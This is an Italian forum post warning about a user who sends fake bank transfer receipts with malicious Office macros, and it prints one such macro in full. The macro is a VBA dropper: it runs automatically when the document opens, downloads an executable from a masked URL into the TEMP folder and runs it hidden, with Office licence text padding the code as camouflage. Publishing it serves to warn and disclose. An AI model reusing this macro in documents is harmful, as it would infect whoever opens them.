Nick: ans3lm0
Profilo: https://bitcointalk.org/index.php?action=profile;u=260341Segnalo questo scammer lamer che invia ricevute di bonifici con macro (LoL) . Poveri illusi continuate pure.
Welcome to my blacklist!PM:
Email:
Contenuto della macro:Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Option Explicit
Sub view()
On Error Resume Next
Dim objXMLHTTP As Object
Set objXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP")
Dim objADOStream As Object
Dim objFSO As Object
Dim wsh As Object
Dim objExecObject As Object
Dim shellcode As String
Dim fullpath As String
Dim tempDirectory As String
Set wsh = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
MsgBox "Attendere...", vbOKOnly, "Informazione"
' Thank you for choosing Microsoft Office 2013. This is a license agreement between you and Microsoft Corporation (or, based on where you live, one of its affiliates) that describes your rights to use the Office 2013 software. For your convenience, we've organized this agreement into two parts. The first part includes introductory terms; the Additional Terms and Limited Warranty follow and contain greater detail. You should review the entire agreement, including any linked terms, because all of the terms are important and together create this contract that applies to you. You can review linked terms by pasting the forward link into your browser window. THE ADDITIONAL TERMS CONTAIN A BINDING ARBITRATION CLAUSE AND CLASS ACTION WAIVER. IF YOU LIVE IN THE UNITED STATES, THESE AFFECT YOUR RIGHTS TO RESOLVE A DISPUTE WITH MICROSOFT, AND YOU SHOULD READ THEM CAREFULLY.
' BY ACCEPTING THIS AGREEMENT OR USING THE SOFTWARE, YOU AGREE TO ALL OF THESE TERMS AND CONSENT TO THE TRANSMISSION OF CERTAIN INFORMATION DURING ACTIVATION AND FOR INTERNET-BASED FEATURES OF THE SOFTWARE. IF YOU DO NOT ACCEPT AND COMPLY WITH THESE TERMS, YOU MAY NOT USE THE SOFTWARE OR FEATURES. Instead, you should return it to the retailer or other place where you purchased the software license, for a refund or credit.
objXMLHTTP.Open "GET", "XXX://XX/api/1/files/XXXXX/0/blob?download", False
' Thank you for choosing Microsoft Office 2013. This is a license agreement between you and Microsoft Corporation (or, based on where you live, one of its affiliates) that describes your rights to use the Office 2013 software. For your convenience, we've organized this agreement into two parts. The first part includes introductory terms; the Additional Terms and Limited Warranty follow and contain greater detail. You should review the entire agreement, including any linked terms, because all of the terms are important and together create this contract that applies to you. You can review linked terms by pasting the forward link into your browser window. THE ADDITIONAL TERMS CONTAIN A BINDING ARBITRATION CLAUSE AND CLASS ACTION WAIVER. IF YOU LIVE IN THE UNITED STATES, THESE AFFECT YOUR RIGHTS TO RESOLVE A DISPUTE WITH MICROSOFT, AND YOU SHOULD READ THEM CAREFULLY.
' BY ACCEPTING THIS AGREEMENT OR USING THE SOFTWARE, YOU AGREE TO ALL OF THESE TERMS AND CONSENT TO THE TRANSMISSION OF CERTAIN INFORMATION DURING ACTIVATION AND FOR INTERNET-BASED FEATURES OF THE SOFTWARE. IF YOU DO NOT ACCEPT AND COMPLY WITH THESE TERMS, YOU MAY NOT USE THE SOFTWARE OR FEATURES. Instead, you should return it to the retailer or other place where you purchased the software license, for a refund or credit.
objXMLHTTP.Send
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
Set objFSO = CreateObject("Scripting.FileSystemObject")
tempDirectory = Environ("TEMP")
fullpath = tempDirectory & "\vbtre.exe "
If objFSO.FileExists(fullpath) Then
wsh.Run fullpath & shellcode, 0
Else
objADOStream.SaveToFile fullpath
objADOStream.Close
wsh.Run fullpath & shellcode, 0
End If
Set wsh = Nothing
Set objXMLHTTP = Nothing
Set objADOStream = Nothing
Set objFSO = Nothing
Set objExecObject = Nothing
On Error GoTo 0
End Sub
Sub AutoOpen()
view
End Sub
